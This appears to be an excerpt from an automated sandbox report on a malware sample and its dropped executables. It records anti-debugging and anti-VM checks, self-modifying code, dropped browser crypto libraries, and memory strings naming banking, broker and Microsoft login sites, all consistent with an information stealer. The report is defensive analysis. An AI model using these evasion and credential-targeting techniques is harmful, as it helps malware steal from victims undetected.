Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CC0686 second address: CC068E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D2976C second address: D29774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D298CE second address: D298E4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE45D01535Ch 0x00000008 jc 00007FE45D015374h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D29A5E second address: D29A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D29A64 second address: D29A85 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jbe 00007FE45D015356h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE45D015363h 0x00000013 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D29C26 second address: D29C5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE45D01194Bh 0x00000008 jmp 00007FE45D01194Fh 0x0000000d pop eax 0x0000000e push esi 0x0000000f jns 00007FE45D011946h 0x00000015 pop esi 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push ecx 0x0000001b pushad 0x0000001c popad 0x0000001d jp 00007FE45D011946h 0x00000023 pop ecx 0x00000024 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D2DEEB second address: D2DEF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D2DEF1 second address: D2DEF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D2E10F second address: D2E128 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D01535Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ebx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D2E128 second address: D2E14A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d jne 00007FE45D01194Ch 0x00000013 popad 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 pushad 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D07E03 second address: D07E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D09D58 second address: D09D73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE45D011956h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D09D73 second address: D09D79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D09D79 second address: D09D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D0CA80 second address: D0CAAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D015368h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007FE45D01535Ah 0x0000000f pop edx 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D0CAAF second address: D0CAB8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D12417 second address: D1241C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D13537 second address: D1353B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D14579 second address: D14582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D20ADA second address: D20ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D20ADF second address: D20AFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE45D015367h 0x00000009 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D33E69 second address: D33E81 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE45D01194Eh 0x00000008 jne 00007FE45D01194Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D34790 second address: D347A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FE45D015360h 0x0000000a rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D347A5 second address: D347D5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 jmp 00007FE45D011950h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop edi 0x00000015 jmp 00007FE45D011950h 0x0000001a rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D347D5 second address: D347F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE45D015368h 0x00000009 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D347F1 second address: D347FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D34C36 second address: D34C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D34C3A second address: D34C40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D34C40 second address: D34C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE45D015356h 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12BD8F0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12E1CE7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1343F12 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Special instruction interceptor: First address: CF8005 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Special instruction interceptor: First address: CF6BEC instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Special instruction interceptor: First address: B5E8C7 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Special instruction interceptor: First address: D855F7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D98005 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D96BEC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BFE8C7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E255F7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Special instruction interceptor: First address: 824773 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Special instruction interceptor: First address: 9A2A4B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Special instruction interceptor: First address: 9A2FAC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Special instruction interceptor: First address: 9C9AE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Special instruction interceptor: First address: 9F3C78 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Special instruction interceptor: First address: A51C8C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Special instruction interceptor: First address: C937AA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Special instruction interceptor: First address: C938A0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Special instruction interceptor: First address: C9376E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Special instruction interceptor: First address: E483C0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Special instruction interceptor: First address: EC187D instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\AEBKFIJEGC.exe

Code function: 14_2_04A70C92 rdtsc

14_2_04A70C92

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1011214001\74cb638a83.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 5548	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5548	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7152	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7152	Thread sleep time: -76038s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1812	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5868	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7088	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6972	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6972	Thread sleep time: -76038s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1484	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1484	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3052	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3052	Thread sleep time: -74037s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8096	Thread sleep count: 119 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8096	Thread sleep time: -3570000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8096	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe TID: 7148	Thread sleep count: 181 > 30
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe TID: 7148	Thread sleep count: 164 > 30
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe TID: 7148	Thread sleep count: 108 > 30
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe TID: 7148	Thread sleep count: 127 > 30
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe TID: 7148	Thread sleep count: 202 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\AEBKFIJEGC.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C94C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C94C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000011.00000002.3565471506.0000000000D78000.00000040.00000001.01000000.0000000E.sdmp, 77d2de4f7b.exe, 00000013.00000002.3565867736.00000000009A7000.00000040.00000001.01000000.0000000F.sdmp, c3e4899de4.exe, 00000014.00000002.3566562666.0000000000E17000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: AFHDAKJK.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: AFHDAKJK.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: AFHDAKJK.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: AFHDAKJK.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: AFHDAKJK.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: AFHDAKJK.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3567114432.0000000001468000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, c3e4899de4.exe, 00000014.00000002.3565468788.0000000000AFF000.00000004.00000020.00020000.00000000.sdmp, c3e4899de4.exe, 00000014.00000002.3565468788.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: AFHDAKJK.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2792859084.000000000197E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareN5
Source: AFHDAKJK.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: AFHDAKJK.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: AFHDAKJK.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: AFHDAKJK.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWl
Source: AFHDAKJK.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: AFHDAKJK.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: AFHDAKJK.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: AFHDAKJK.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: AFHDAKJK.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: AFHDAKJK.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2234834361.0000000005630000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2790206545.0000000000ED1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: iMSHN6QKQEMUh;=a
Source: file.exe, 00000000.00000003.2234834361.0000000005630000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2790206545.0000000000ED1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: MSHN6QKQEMU
Source: AFHDAKJK.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: AFHDAKJK.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: AFHDAKJK.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: AFHDAKJK.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: AFHDAKJK.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: AFHDAKJK.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2792859084.000000000197E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: AFHDAKJK.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: AFHDAKJK.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000002.2792859084.00000000019C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh:
Source: AFHDAKJK.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: AFHDAKJK.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: AFHDAKJK.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: AFHDAKJK.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2791371544.000000000129D000.00000040.00000001.01000000.00000003.sdmp, AEBKFIJEGC.exe, 0000000E.00000002.2827098625.0000000000CD8000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000F.00000002.2864176516.0000000000D78000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2864404898.0000000000D78000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3565471506.0000000000D78000.00000040.00000001.01000000.0000000E.sdmp, 77d2de4f7b.exe, 00000013.00000002.3565867736.00000000009A7000.00000040.00000001.01000000.0000000F.sdmp, c3e4899de4.exe, 00000014.00000002.3566562666.0000000000E17000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: AFHDAKJK.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: AFHDAKJK.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\AEBKFIJEGC.exe

Code function: 14_2_04A70C92 rdtsc

